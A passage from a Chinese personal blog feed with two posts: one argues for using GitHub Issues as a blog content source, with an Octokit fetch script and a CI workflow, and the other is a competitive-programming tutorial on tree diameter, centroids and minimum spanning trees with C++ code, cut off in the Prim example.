💠 LangQi99的博客

把 GitHub Issues 当博客写：一个被低估的天才方案

LangQi99的博客 — Sat, 09 May 2026 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/github-issues-as-blog/

import Info from "../../components/mdx/Info.astro"; import Success from "../../components/mdx/Success.astro"; import Warning from "../../components/mdx/Warning.astro";

最近偶然刷到一个仓库 izackwu/blog，点进去一看——

这哥们的博客文章，全部以 Issue 的形式发在 GitHub 仓库里。

我当场愣住，然后忍不住笑出声：这居然真的可行，而且还相当聪明。

一、先看看他到底是怎么玩的

打开他的 Issues 列表：

二十六岁，长期主义与追星逐月
写在人生首马一个月之后
二十四岁，充满变化的一年
二十三岁，当时只道是偶然
……

每一篇都是一个 Issue，标题就是文章标题，正文就是 Markdown 内容，下面挂着读者的评论。

更骚的操作是：在 Google 里搜 字节实习博客，他那篇 我在字节跳动实习的三个月 #28 直接霸占了第一条，把一众 CSDN、博客园、力扣 等老牌平台都挤了下去。

二、为什么这是个天才方案？

我第一反应是好笑，第二反应是——卧槽，这思路真是赢麻了。 让我们冷静地拆一下它到底强在哪。

1. SEO 权重：站在巨人的肩膀上

自建博客最痛的痛点是什么？搜索引擎不收录，或者收录了排在第 8 页。

你辛辛苦苦写的文章，发在自己 xxx.com 的小站上，Google 甚至懒得多看一眼。而 github.com 是什么权重？全球技术内容的圣地之一，PageRank 高到离谱。

把内容塞进 github.com/<user>/<repo>/issues/<id>，相当于直接用 GitHub 这个超级域名给你的内容背书。搜索引擎一看到 github.com 就两眼发光，收录速度和排名权重几乎是降维打击。

对比一下：你自建博客可能要写一年才积累出域名权重；而 GitHub Issue 几乎是**开局送你一张 SSR 权重卡**。

2. 原生评论系统：白嫖一套完整 UGC

自建博客想加评论，方案无非这几种：

Disqus：广告满天飞，国内访问不友好。
Giscus / Gitalk / Utterances：本质上还是基于 GitHub Issues / Discussions。
自建评论后端：要数据库、要反垃圾、要登录系统、要邮件通知……一套全家桶下来人都要写吐了。

而 GitHub Issues 自带的评论系统：

已经有完整的 Markdown / 表情 / @mention / 代码高亮；
登录态全平台复用——所有开发者都有 GitHub 账号；
天然反垃圾——GitHub 自带 spam 检测；
邮件通知 / 订阅 / 引用全部免费打包；
永不挂掉，比你自建的 VPS 稳定一万倍。

你写一行代码都不用，就拥有了一套世界级的评论系统。

3. 内容托管：版本控制 + 永久备份

Issue 本身就是带版本历史的：

谁编辑过、什么时候编辑的、改了什么，一清二楚；
作为开源仓库还能被 fork、被 archive；
你不用关心数据库备份，不用怕磁盘损坏，不用担心服务商跑路。

GitHub 帮你把内容强制公开 + 永久托管 + 全球分发，这是任何自建方案都做不到的稳定性。

4. 写作体验：Issue 编辑器其实很顺手

GitHub 的 Issue 编辑器其实非常成熟：

支持完整 Markdown；
可以直接拖图，自动上传到 user-images.githubusercontent.com；
可以预览；
可以从手机网页直接发；
草稿可以扔在 Draft 状态，慢慢改。

比起在本地折腾 Hexo / Hugo / Astro 配置 + git push + Vercel 部署的链路，写一篇 Issue 几乎是零门槛。

三、那"漂亮的个人站"怎么办？

这才是最妙的一步。

既然 Issues 已经搞定了 内容、SEO、评论、备份，那我自建的博客站还剩什么用？

答：用来好看。

也就是说——

GitHub Issues  →  内容真源（Source of Truth）
       ↓ 构建时 fetch
Astro / Next  →  美观的展示层
       ↓
你自己的域名 + 极致的视觉设计

每次构建博客时，只需要：

调用 GitHub REST API：GET /repos/{owner}/{repo}/issues?state=all&labels=Gitalk
把每个 Issue 转换成一篇 Markdown 文章；
用你自己的主题、字体、动画、暗色模式渲染出来；
在文章底部嵌入对应 Issue 的评论区（Giscus 即可）。

一个最小实现的伪代码

// scripts/fetch-issues.ts
import { Octokit } from "@octokit/rest";
import fs from "node:fs/promises";

const octokit = new Octokit({ auth: process.env.GH_TOKEN });

const { data: issues } = await octokit.issues.listForRepo({
  owner: "your-name",
  repo: "blog",
  state: "open",
  labels: "post", // 用 label 区分哪些 issue 是博客
  per_page: 100,
});

for (const issue of issues) {
  const frontmatter = `---
title: "${issue.title.replace(/"/g, '\\"')}"
description: "${(issue.body ?? "").slice(0, 80)}"
pubDate: "${issue.created_at}"
updated: "${issue.updated_at}"
issueNumber: ${issue.number}
tags: ${JSON.stringify(issue.labels.map((l: any) => l.name))}
---

${issue.body}
`;
  const slug = `${issue.number}-${slugify(issue.title)}.mdx`;
  await fs.writeFile(`src/content/blog/${slug}`, frontmatter);
}

然后在 CI 里加一行：

# .github/workflows/deploy.yml
- name: Fetch posts from issues
  run: pnpm tsx scripts/fetch-issues.ts
  env:
    GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

- name: Build site
  run: pnpm build

更进一步，可以监听 issues 事件，Issue 一更新就自动重新部署：

on:
  issues:
    types: [opened, edited, labeled, unlabeled]
  push:
    branches: [main]

写完一篇 Issue，回车一发——几分钟后你的个人站就同步上线了。完全没有"写完文章还要 git commit / push"这一步。

这套架构本质上是把 GitHub 当成了一个免费的 Headless CMS，比 Strapi、Notion API 还好用。

四、双倍收益：流量入口翻倍

最骚的还在后头。

正常博主只有一个入口：自己的域名。

而这套方案下，你拥有两个独立的、互相导流的入口：

入口	优势	劣势
`github.com/.../issues/N`	SEO 权重高、原生评论、技术圈传播性强	样式丑、不能自定义
`yourblog.com/posts/...`	设计精美、品牌感强、可加分析	新域名权重低

你只要在两边互相挂个 link：

Issue 正文最上面写一句：「本文同步发布在我的博客」
博客文章底部写一句：「评论请到 GitHub Issue #N」

SEO 流量从 GitHub 进，品牌印象在自己站上沉淀，评论又流回 Issue 增加热度。 形成一个完美的闭环。

五、有什么坑吗？

当然，理性地说，这套方案不是没有缺点：

**GitHub 政策风险**：理论上 GitHub 可以封号、可以下架仓库。虽然概率极低，但不是零。建议本地保留一份 Issue 的导出备份。

图片托管：拖到 Issue 里的图片走 user-images.githubusercontent.com，速度和稳定性看运气；自己博客站显示时建议构建时下载到本地或转存到 CDN。
私密草稿：Issue 一旦创建就是公开的（除非仓库设为私有，但这样就失去 SEO 的意义）。可以用 draft label 区分。
不适合长篇连载：Issue 不像 wiki 那样有目录结构，文章太多时管理略乱（不过可以靠 label 和 milestone 解决）。
重型 MDX 组件用不了：在 GitHub 上的 Issue 渲染只有标准 Markdown，那些自定义的 React/Astro 组件只能在自建博客里看到。

六、谁特别适合这套方案？

我想了想，这套方案其实有非常清晰的 target user：

技术博主 / 开源作者：天然在 GitHub 圈子里，读者本来就有账号，评论无门槛。
想要 SEO 但不想运营的人：你不需要懂 SEO，蹭 GitHub 的权重就够了。
写作频率不高的人：低频写作不值得搞复杂的 CMS，Issue 简单到像发朋友圈。
多端写作的人：手机随时打开 GitHub App 就能写，比打开 IDE 改 mdx 文件爽多了。

七、写在最后

我以前一直觉得，"博客"就该是一个独立的、精心设计的网站。看到 izackwu 的玩法，我才意识到：

博客的本质从来不是"网站"，而是"内容 + 读者"。

既然 GitHub 已经把"内容托管 + SEO + 评论 + 通知 + 备份"这一整套基础设施都免费送给你了，那为什么不站在它的肩膀上？

自建博客负责美感和品牌，GitHub Issues 负责内容和分发——两边各干自己最擅长的事情。

这不是什么炫技，而是一种对工程懒惰的极致追求。能用别人的肌肉就别长自己的，这才是真正的工程师精神。

学到了，下次起新博客我也试试这套架构。

树基础（树的概念&直径&重心&最小生成树）

LangQi99的博客 — Fri, 27 Mar 2026 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/tree-complete/

import Info from "../../components/mdx/Info.astro"; import Warning from "../../components/mdx/Warning.astro"; import TreeGeneralTerms from "../../components/mdx/tree/TreeGeneralTerms.astro"; import TreeDefinition from "../../components/mdx/tree/TreeDefinition.astro"; import TreeTerms from "../../components/mdx/tree/TreeTerms.astro"; import TreeTypes from "../../components/mdx/tree/TreeTypes.astro"; import TreeTraversal from "../../components/mdx/tree/TreeTraversal.astro"; import TreeDiameterDFS from "../../components/mdx/tree/TreeDiameterDFS.astro"; import TreeDiameterDP from "../../components/mdx/tree/TreeDiameterDP.astro"; import TreeDiameterMidpoint from "../../components/mdx/tree/TreeDiameterMidpoint.astro"; import TreeCentroidDef from "../../components/mdx/tree/TreeCentroidDef.astro"; import TreeCentroidDist from "../../components/mdx/tree/TreeCentroidDist.astro"; import TreeCentroidDFS from "../../components/mdx/tree/TreeCentroidDFS.astro"; import TreeCentroidTwo from "../../components/mdx/tree/TreeCentroidTwo.astro"; import TreeRerootDP from "../../components/mdx/tree/TreeRerootDP.astro"; import MSTKruskal from "../../components/mdx/mst/MSTKruskal.astro"; import MSTPrim from "../../components/mdx/mst/MSTPrim.astro";

树是图论中最基础也最重要的数据结构之一。它具有优美的性质和广泛的应用，从文件系统到决策树，从 HTML 文档到组织架构，树无处不在。本文将从基础概念出发，逐步深入探讨树的直径、重心以及最小生成树等重要专题。

第一部分：树基础

树的定义

无根树

无根树是指没有固定根节点的树。它有多种等价定义：

有 $n$ 个节点和 $n-1$ 条边的连通无向图
无环的连通无向图
任意两点间有且仅有一条简单路径的图
任意添加一条边都会形成环的图

这些定义从不同角度描述了树的本质特征：连通、无环、边数等于点数减一。

有根树

有根树是在无根树的基础上，指定一个节点作为"根"所形成的树。根节点赋予了树明确的层级关系，形成了自上而下的结构。

有根树中，根节点通常绘制在最上方，子节点在下方，形成"倒置"的树形结构。

树的术语

通用术语

术语	定义
森林	每个连通分量都是树的图，即多棵树的集合
生成树	包含图中所有顶点且连通的 $n-1$ 条边构成的子图
叶节点	在无根树中度数不超过 1 的节点；在有根树中没有子节点的节点
度数	与节点相连的边数（无根树）或子节点数（有根树）

有根树专属术语

父亲 (Parent)：节点到根路径上的相邻上级节点
子节点 (Child)：节点的相邻下级节点
兄弟 (Sibling)：具有相同父亲的节点
祖先 (Ancestor)：从节点到根路径上的所有节点
后代 (Descendant)：以该节点为根的子树中的所有节点
深度 (Depth)：节点到根节点的路径边数
高度 (Height)：所有节点深度的最大值，也称为树的深度
子树 (Subtree)：删除与父亲相连的边后，该节点所在的子图

特殊的树

链 (Chain)

所有节点度数不超过 2 的树。链可以看作是一条线性路径，是最"瘦长"的树结构。

1 --- 2 --- 3 --- 4 --- 5

菊花图 / 星星 (Star)

除了一个中心节点外，其余所有节点都只与该中心节点相连。这是最"扁平"的树结构。

二叉树

每个节点最多只有两个子节点的有根树，分为左子节点和右子节点。

二叉树的分类：

类型	定义
完整二叉树	每个节点的子节点数要么是 0，要么是 2
完全二叉树	除最后一层外全满，且最后一层节点靠左排列
完美二叉树	所有叶节点深度相同，所有非叶节点都有两个子节点

在 OI 竞赛中，"满二叉树"通常指完美二叉树，而非完整二叉树。注意术语的差异。

树的存储方式

只记录父节点

使用数组 parent[N] 记录每个节点的父节点。

int parent[N];
// parent[i] = j 表示节点 i 的父节点是 j

适用于需要自底向上递推的场景，但无法快速找到子节点。

邻接表

使用 std::vector 记录每个节点的所有相邻节点（无根树）或子节点（有根树）。

vector<int> adj[N];  // 无根树：存储所有相邻节点
vector<int> children[N];  // 有根树：只存储子节点

最常用的存储方式，支持高效的遍历操作。

左孩子右兄弟表示法

记录节点的第一个子节点和它的下一个兄弟节点，可以将任意多叉树转化为二叉树结构。

struct Node {
    int firstChild;   // 第一个子节点
    int nextSibling;  // 下一个兄弟节点
};

树的遍历

深度优先搜索 (DFS)

普通树 DFS

对于无向图形式的树，需要记录 from 参数避免重复访问：

void dfs(int u, int from) {
    for (int v : adj[u]) {
        if (v != from) {
            dfs(v, u);
        }
    }
}

二叉树的三种 DFS 遍历

遍历方式	访问顺序
先序遍历 (Preorder)	根 → 左 → 右
中序遍历 (Inorder)	左 → 根 → 右
后序遍历 (Postorder)	左 → 右 → 根

代码实现：

struct TreeNode {
    int val;
    TreeNode* left;
    TreeNode* right;
};

// 先序遍历：根 → 左 → 右
void preorder(TreeNode* root) {
    if (!root) return;
    cout << root->val << " ";  // 访问根
    preorder(root->left);       // 递归左子树
    preorder(root->right);      // 递归右子树
}

// 中序遍历：左 → 根 → 右
void inorder(TreeNode* root) {
    if (!root) return;
    inorder(root->left);        // 递归左子树
    cout << root->val << " ";   // 访问根
    inorder(root->right);       // 递归右子树
}

// 后序遍历：左 → 右 → 根
void postorder(TreeNode* root) {
    if (!root) return;
    postorder(root->left);      // 递归左子树
    postorder(root->right);     // 递归右子树
    cout << root->val << " ";   // 访问根
}

观察三种遍历的代码结构可以发现：唯一的区别在于**访问根节点的时机不同**。 - 先序：访问在最前 - 中序：访问在中间 - 后序：访问在最后

广度优先搜索 (BFS)

利用队列实现层序遍历，严格按照从上到下、从左到右的层级访问节点。

void bfs(int root) {
    queue<int> q;
    q.push(root);
    while (!q.empty()) {
        int u = q.front(); q.pop();
        for (int v : children[u]) {
            q.push(v);
        }
    }
}

已知中序遍历和先序/后序中的任意一个，可以唯一确定一棵二叉树的结构。

练习题推荐

第二部分：树的直径

树的直径（Tree Diameter）是树上任意两节点之间最长的简单路径。它是树论中最基础也最重要的问题之一，广泛应用于网络设计、路径规划等领域。

求解方法

求树的直径有两种时间复杂度为 $O(n)$ 的经典方法：

方法一：两次 DFS

思路：从任意节点出发找到最远点 $z$，再从 $z$ 出发找到最远点 $z'$，则 $z$ 到 $z'$ 的路径即为直径。

原理证明：

设树的直径端点为 $u$ 和 $v$，从任意节点 $y$ 出发找到的最远点为 $z$。我们需要证明 $z$ 必须是 $u$ 或 $v$。

采用反证法：假设 $z$ 既不是 $u$ 也不是 $v$。

设 $y$ 到 $z$ 的路径离开直径的分叉点为 $x$（即 $x$ 在直径上，从 $x$ 开始路径离开直径走向 $z$）。分两种情况讨论：

情况一：$y$ 在直径上

设直径上各点的顺序为 $u \to x \to y \to v$（$x$ 在 $y$ 的 $u$ 方向一侧）。

$$d(y,z) = d(y,x) + d(x,z)$$

由于 $z$ 是最远点，有 $d(y,z) \ge d(y,v)$。而 $d(y,v) = d(y,x) + d(x,v)$，因此：

$$d(x,z) \ge d(x,v)$$

现在构造路径 $u \to x \to z$，其长度为：

$$d(u,x) + d(x,z) \ge d(u,x) + d(x,v) = d(u,v)$$

如果 $d(x,z) > d(x,v)$，则新路径长度严格大于直径，矛盾！

若 $x$ 在 $y$ 的 $v$ 方向一侧，类似可证 $z$ 必须是 $u$。

情况二：$y$ 不在直径上

设 $y$ 到直径的唯一连接点为 $w$，$y$ 到 $w$ 的距离为 $c$。则：

$$d(y,u) = c + d(w,u), \quad d(y,v) = c + d(w,v)$$

假设 $d(w,u) \le d(w,v)$，即 $w$ 更靠近 $u$，则 $v$ 是从 $y$ 出发在直径方向上的最远点。

如果 $z$ 不是 $v$，设 $z$ 到 $w$ 的路径在点 $x$ 处离开直径（$x$ 在 $w$ 到 $z$ 的路径上）。则：

$$d(y,z) = c + d(w,x) + d(x,z)$$

由于 $z$ 是最远点，$d(y,z) \ge d(y,v) = c + d(w,v)$。

若 $x$ 在 $w$ 到 $v$ 的方向上，则 $d(w,v) = d(w,x) + d(x,v)$，从而：

$$d(x,z) \ge d(x,v)$$

构造路径 $u \to w \to x \to z$：

$$d(u,w) + d(w,x) + d(x,z) \ge d(u,w) + d(w,x) + d(x,v) = d(u,v)$$

若 $d(x,z) > d(x,v)$，路径长度严格大于直径，矛盾！

结论：从任意点出发，最远点一定是直径的某个端点。

两次 DFS 方法**方便记录直径路径**——只需在第二次 DFS 时记录前驱节点即可。两次 DFS 方法**不适用于负权边**！当边权存在负数时，证明的正确性会失效。

方法二：树形 DP

思路：对每个节点，计算从它向下延伸的最长链 $d_1$ 和次长链 $d_2$（两条链不能共享边），直径即为所有 $d_1 + d_2$ 的最大值。

正确性证明：

我们分两步证明：$\max(d_1[u] + d_2[u])$ 确实等于树的直径。

第一步：$\max(d_1[u] + d_2[u])$ 是直径的一个候选

树的直径是一条路径，设这条路径为 $p_1 \to p_2 \to \cdots \to p_k$。

由于树是无向图，我们可以选定任意节点作为根。以直径路径上深度最小的节点作为根（或者将树"拉直"，直径就是一条横向路径）。

对于直径路径上的每个节点 $u$，直径从 $u$ 的两个不同子树方向延伸出去。设这两个方向分别为子节点 $a$ 和子节点 $b$。

从 $u$ 向 $a$ 方向延伸的部分，就是 $u$ 向子树 $a$ 延伸的一条链。这条链的长度不超过 $d_1[u]$（因为 $d_1[u]$ 是从 $u$ 向下延伸的最长链）。

同理，向 $b$ 方向延伸的链长度不超过 $u$ 向子树 $b$ 延伸的最长链。由于 $a$ 和 $b$ 是不同的子节点，这条链与向 $a$ 的链不共享边，其长度不超过次长链 $d_2[u]$。

因此，直径长度 $\le d_1[u] + d_2[u]$，进而直径长度 $\le \max_u(d_1[u] + d_2[u])$。

第二步：$\max(d_1[u] + d_2[u])$ 是一条可行路径

设 $u$ 是使 $d_1[u] + d_2[u]$ 最大的节点。$d_1[u]$ 是从 $u$ 向某个子节点 $v_1$ 的子树延伸的最长链，$d_2[u]$ 是向另一个子节点 $v_2$ 的子树延伸的次长链。

由于 $v_1 \neq v_2$，这两条链不共享边。将它们在 $u$ 处连接，形成一条经过 $u$ 的路径，长度恰为 $d_1[u] + d_2[u]$。

这条路径完全在树内，因此其长度不超过直径。

结论

由第一步，直径 $\le \max(d_1[u] + d_2[u])$。

由第二步，$\max(d_1[u] + d_2[u]) \le$ 直径。

因此两者相等，$\max(d_1[u] + d_2[u])$ 即为树的直径。

状态转移： $$d_1[u] = \max(d_1[v] + w(u,v)) \quad \text{对所有子节点 } v$$ $$d_2[u] = \text{次大值}$$

树形 DP 方法**适用于负权边**，因为它是自底向上计算，考虑了所有可能的路径组合。

方法对比

特性	两次 DFS	树形 DP
时间复杂度	$O(n)$	$O(n)$
空间复杂度	$O(n)$	$O(n)$
负权边	❌ 不支持	✅ 支持
记录路径	✅ 简单	⚠️ 稍复杂
实现难度	简单	中等

重要性质：中点重合

当树上所有边权均为正数时，一个优美的性质成立：

所有直径的中点必定重合。

证明（反证法）：设两条直径 $u \to v$ 和 $u' \to v'$ 的中点分别为 $m$ 和 $m'$，且 $m \neq m'$。

由于两条直径长度相等，我们可以构造一条更长的路径：

从 $m$ 出发沿直径到 $u$
再从 $u$ 通过公共部分到 $u'$
最后从 $u'$ 沿另一条直径到 $v'$

这样构造的路径长度必然大于原直径，矛盾！

代码实现

两次 DFS（C++）

#include <bits/stdc++.h>
using namespace std;

const int N = 100005;
vector<int> adj[N];
int dist[N], parent[N];

void dfs(int u, int fa, int d) {
    dist[u] = d;
    parent[u] = fa;
    for (int v : adj[u]) {
        if (v != fa) dfs(v, u, d + 1);
    }
}

int main() {
    int n;
    cin >> n;

    for (int i = 1; i < n; i++) {
        int u, v;
        cin >> u >> v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }

    // 第一次 DFS
    dfs(1, -1, 0);
    int z = max_element(dist + 1, dist + n + 1) - dist;

    // 第二次 DFS
    dfs(z, -1, 0);
    int z2 = max_element(dist + 1, dist + n + 1) - dist;

    cout << "直径长度: " << dist[z2] << endl;

    // 输出直径路径
    vector<int> path;
    for (int u = z2; u != -1; u = parent[u]) {
        path.push_back(u);
    }
    // path 即为直径路径

    return 0;
}

树形 DP（C++）

#include <bits/stdc++.h>
using namespace std;

const int N = 100005;
vector<pair<int,int>> adj[N]; // (邻点, 边权)
int d1[N], d2[N]; // 最长链、次长链
int diameter = 0;

void dp(int u, int fa) {
    d1[u] = d2[u] = 0;

    for (auto [v, w] : adj[u]) {
        if (v == fa) continue;

        dp(v, u);

        int d = d1[v] + w;
        if (d > d1[u]) {
            d2[u] = d1[u];
            d1[u] = d;
        } else if (d > d2[u]) {
            d2[u] = d;
        }
    }

    diameter = max(diameter, d1[u] + d2[u]);
}

int main() {
    int n;
    cin >> n;

    for (int i = 1; i < n; i++) {
        int u, v, w = 1;
        cin >> u >> v;
        adj[u].push_back({v, w});
        adj[v].push_back({u, w});
    }

    dp(1, -1);
    cout << "直径长度: " << diameter << endl;

    return 0;
}

练习题推荐

题目	难度	说明
洛谷 B4016 树的直径	⭐	入门题，求直径长度
洛谷 P2491 消防	⭐⭐⭐	SDOI2011，直径上的最优选点
洛谷 P3629 巡逻	⭐⭐⭐	APIO2010，加边后的直径变化
LeetCode 1245. 树的直径	⭐⭐	无向树的直径

小结

两次 DFS 实现简单，方便记录路径，但不支持负权边
树形 DP 更通用，支持负权边，是竞赛中的首选方法
中点重合 是正权树的重要性质，可用于优化和证明

第三部分：树的重心

树的重心（Tree Centroid）是树论中的核心概念之一。删去重心后，树会被相对均匀地分割成若干部分，这一性质使其成为点分治（重心分解）算法的基础。

定义

如果在树中删去某个节点 $v$ 后，得到的每个连通分量的大小均不超过原树节点总数的一半，那么节点 $v$ 就是整棵树的重心。

重量：删去某节点后，得到的最大连通分量的大小称为该节点的重量。重心即重量不超过 $n/2$ 的节点。

等价定义与性质

等价定义

重心有多种等价的描述方式：

等价定义	说明
连通分量极值	删去重心得到的最大连通分量是所有删点方案中最小的
距离和最小	树中所有节点到重心的距离之和最小
有根树视角	以重心为根时，任意真子树大小都不超过 $n/2$

核心性质

性质 1：重心数量

一棵树最多有两个重心；如果有两个重心，它们必定相邻。

性质 2：动态稳定性

添加或删除一个叶子节点，新树的重心最多移动一条边的距离。

这一性质在动态维护重心时非常有用。

性质 3：合并性质

将两棵树通过一条边合并，新树的重心必在原来两棵重心之间的路径上。

重心的求法

方法：一次 DFS

通过一次 DFS 统计每个节点的子树大小，同时计算删去该节点后各连通块的最大值。

算法流程：

DFS 遍历，计算每个节点 $u$ 的子树大小 size[u]
对于节点 $u$，删去它后的连通块有：
- 各子树：size[v]（$v$ 是 $u$ 的子节点）
- 向上的部分：n - size[u]
取这些值的最大值作为 $u$ 的重量
重量 $\le n/2$ 的节点即为重心

DFS 方法的时间复杂度为 $O(n)$，是最常用且高效的重心求法。

代码实现

C++ 模板

#include <bits/stdc++.h>
using namespace std;

const int N = 100005;
vector<int> adj[N];
int size_[N];      // 子树大小
int max_part[N];   // 删去该节点后的最大连通块
int n;
vector<int> centroids;

void dfs(int u, int fa) {
    size_[u] = 1;
    max_part[u] = 0;

    for (int v : adj[u]) {
        if (v == fa) continue;
        dfs(v, u);
        size_[u] += size_[v];
        max_part[u] = max(max_part[u], size_[v]);
    }

    // 向上的连通块
    max_part[u] = max(max_part[u], n - size_[u]);

    // 判断是否为重心
    if (max_part[u] <= n / 2) {
        centroids.push_back(u);
    }
}

int main() {
    cin >> n;
    for (int i = 1; i < n; i++) {
        int u, v;
        cin >> u >> v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }

    dfs(1, -1);

    cout << "重心: ";
    for (int c : centroids) {
        cout << c << " ";
    }
    cout << endl;

    return 0;
}

换根 DP 方法

利用「距离和最小」的性质，通过两次 DFS 计算所有节点的距离和，然后取最小值对应的节点作为重心。这种方法的优势是能同时得到所有节点作为根时的距离和信息。

算法原理

换根 DP 的核心思想是利用父子关系，从已知的根节点信息推导所有节点的信息。

设 $dp[u]$ 表示以 $u$ 为根时，所有节点到 $u$ 的距离之和。如果我们已经计算出了 $dp[root]$（某个根节点的距离和），如何高效地计算出其他节点的 $dp$ 值？

关键观察：换根时的变化

考虑从父亲节点 $u$ 换根到子节点 $v$ 时，各节点距离的变化：

$v$ 的子树内节点（共 $size_v$ 个）：原本距离是到 $u$ 的，现在变成到 $v$ 的，距离各减少 1
$v$ 的子树外节点（共 $n - size_v$ 个）：原本距离是到 $u$ 的，现在需要经过 $u$ 再到 $v$，距离各增加 1

因此得到转移公式：

$$dp[v] = dp[u] - size_v + (n - size_v) = dp[u] + n - 2 \cdot size_v$$

两次 DFS 的具体过程

第一次 DFS（dfs1）：以任意节点为根（如节点 1），自顶向下传递深度，自底向上累加 size 和 dp。

size[u]：以 $u$ 为根的子树大小
dep[u]：$u$ 到根节点的距离（深度）
初始时，$dp[u] = dep[u]$（每个节点对根的距离贡献初始为深度值）
回溯时累加子节点信息：$size[u] += size[v]$，$dp[u] += dp[v]$

这样 DFS1 结束后，$dp[root]$ 就是以 root 为根时的距离和。

第二次 DFS（dfs2）：从根开始，利用转移公式依次计算每个子节点作为根时的 dp 值。

dp[v] = dp[u] + n - 2 * size[v];

DFS2 结束后，所有节点的 $dp$ 值都已计算完毕，取最小值即为重心。

时间复杂度分析

操作	复杂度
DFS1	$O(n)$
DFS2	$O(n)$
找最小值	$O(n)$
总计	$O(n)$

相比于暴力方法（每个节点做一次 BFS/DFS，$O(n^2)$），换根 DP 将复杂度优化到了线性！

换根 DP 是一类通用技巧，不仅适用于求距离和最小的问题，还可以用于求「以每个节点为根时的最大子树大小」等问题。核心都是找到换根时的变化规律。

代码实现

#include <bits/stdc++.h>
using namespace std;

const int N = 100005;
vector<int> adj[N];
int n, size_[N], dep[N];
long long dp[N];  // dp[u] = 以u为根的距离和

void dfs1(int u, int fa) {
    size_[u] = 1;
    dp[u] = dep[u];  // 初始值：当前节点对根的距离贡献 = 深度
    for (int v : adj[u]) {
        if (v == fa) continue;
        dep[v] = dep[u] + 1;  // 先传递深度
        dfs1(v, u);           // 递归子节点
        size_[u] += size_[v]; // 累加子树大小
        dp[u] += dp[v];       // 累加子节点对根的距离贡献
    }
}

void dfs2(int u, int fa) {
    for (int v : adj[u]) {
        if (v == fa) continue;
        // 换根转移公式：dp[v] = dp[u] + n - 2*size[v]
        dp[v] = dp[u] - size_[v] + (n - size_[v]);
        dfs2(v, u);
    }
}

int main() {
    cin >> n;
    for (int i = 1; i < n; i++) {
        int u, v;
        cin >> u >> v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }

    dep[1] = 0;  // 根节点深度为0
    dfs1(1, -1); // 第一次DFS：计算size和dp[根]
    dfs2(1, -1); // 第二次DFS：换根转移，计算所有dp值

    // 距离和最小的节点即为重心
    int centroid = min_element(dp + 1, dp + n + 1) - dp;
    cout << "重心: " << centroid << endl;
    cout << "距离和: " << dp[centroid] << endl;

    return 0;
}

经典应用

点分治（重心分解）

重心最重要的应用是点分治算法。每次选择子树的重心作为分治中心，可以保证：

每层分治后子树大小不超过原来的一半
递归深度为 $O(\log n)$
总时间复杂度 $O(n \log n)$

练习题推荐

题目	难度	说明
洛谷 P1364 医院设置	⭐	距离和最小应用
CF 715C Digit Tree	⭐⭐⭐	点分治经典题
洛谷 P2634 聪聪可可	⭐⭐⭐	点分治入门

小结

要点	内容
定义	删去后最大连通块 $\le n/2$
等价定义	距离和最小 / 子树大小都不超过 $n/2$
数量	最多 2 个，若有 2 个则相邻
求法	一次 DFS，$O(n)$
应用	点分治的核心基础

第四部分：最小生成树

最小生成树（Minimum Spanning Tree, MST）是图论中最经典的问题之一。给定一个带权无向连通图，最小生成树是一棵包含所有顶点、边权和最小的生成树。

核心定义

生成树：对于一个有 $n$ 个顶点的连通图，生成树是包含全部 $n$ 个顶点且恰好有 $n-1$ 条边的连通子图。

最小生成树：所有生成树中，边权总和最小的那一棵。

只有连通图才存在生成树。对于非连通图，只存在最小生成森林。最小生成树可能不唯一，但当所有边权互不相同时，最小生成树唯一。

求解算法

求最小生成树有两种经典算法，都基于贪心策略：

Kruskal 算法

思想：将所有边按边权从小到大排序，依次尝试加入。如果某条边的两个端点不在同一个连通块内（用并查集判断），则加入该边，直到加入了 $n-1$ 条边。

算法步骤：

将所有边按边权排序
初始化并查集，每个节点自成一个集合
按顺序遍历每条边 $(u, v, w)$：
- 如果 find(u) != find(v)，则加入该边，执行 union(u, v)
- 直到选了 $n-1$ 条边

Kruskal 算法的正确性基于贪心选择性质：每次选择当前最小的"安全边"（不会形成环的边），最终得到最优解。

时间复杂度：$O(m \log m)$，主要来自排序。适合稀疏图（边数较少）。

Prim 算法

思想：从任意一个节点开始，每次从未加入树的节点中，选择一个与已加入节点集合距离最近的节点加入，直到所有节点都被加入。

算法步骤：

选择一个起始节点加入集合 $S$
维护每个节点到集合 $S$ 的最小距离
每次选择距离最小的未加入节点，加入 $S$ 并更新其他节点的距离
重复直到所有节点都加入

Prim 算法的思想类似于 Dijkstra 最短路径算法，区别在于 Dijkstra 维护的是到起点的最短距离，而 Prim 维护的是到已选集合的最短距离。

时间复杂度：

朴素实现：$O(n^2)$，适合稠密图
堆优化：$O(m \log n)$

算法对比

特性	Kruskal	Prim
时间复杂度	$O(m \log m)$	$O(n^2)$ 或 $O(m \log n)$
适用场景	稀疏图	稠密图
数据结构	并查集	优先队列
实现难度	简单	中等
思路	从边出发	从点出发

代码实现

Kruskal 算法（C++）

#include <bits/stdc++.h>
using namespace std;

const int N = 100005;
int parent[N], rank_[N];

// 并查集查找（带路径压缩）
int find(int x) {
    return parent[x] == x ? x : parent[x] = find(parent[x]);
}

// 并查集合并（按秩合并）
bool unite(int x, int y) {
    x = find(x), y = find(y);
    if (x == y) return false;
    if (rank_[x] < rank_[y]) swap(x, y);
    parent[y] = x;
    if (rank_[x] == rank_[y]) rank_[x]++;
    return true;
}

struct Edge {
    int u, v, w;
    bool operator<(const Edge& e) const { return w < e.w; }
};

int main() {
    int n, m;
    cin >> n >> m;

    vector<Edge> edges(m);
    for (int i = 0; i < m; i++) {
        cin >> edges[i].u >> edges[i].v >> edges[i].w;
    }

    // 初始化并查集
    for (int i = 1; i <= n; i++) parent[i] = i;

    // Kruskal
    sort(edges.begin(), edges.end());
    int totalWeight = 0, edgeCount = 0;

    for (auto& e : edges) {
        if (unite(e.u, e.v)) {
            totalWeight += e.w;
            edgeCount++;
            cout << "选中边: " << e.u << " - " << e.v
                 << " (权重 " << e.w << ")" << endl;
            if (edgeCount == n - 1) break;
        }
    }

    if (edgeCount == n - 1) {
        cout << "最小生成树总权重: " << totalWeight << endl;
    } else {
        cout << "图不连通，无法生成最小生成树" << endl;
    }

    return 0;
}

Prim 算法（C++）

#include <bits/stdc++.h>
using namespace std;

const int N = 1005;
const int INF = 1e9;

int n, m;
vector<pair<int, int>> adj[N]; // (邻点, 边权)
int minDist[N];   // 到已选集合的最小距离
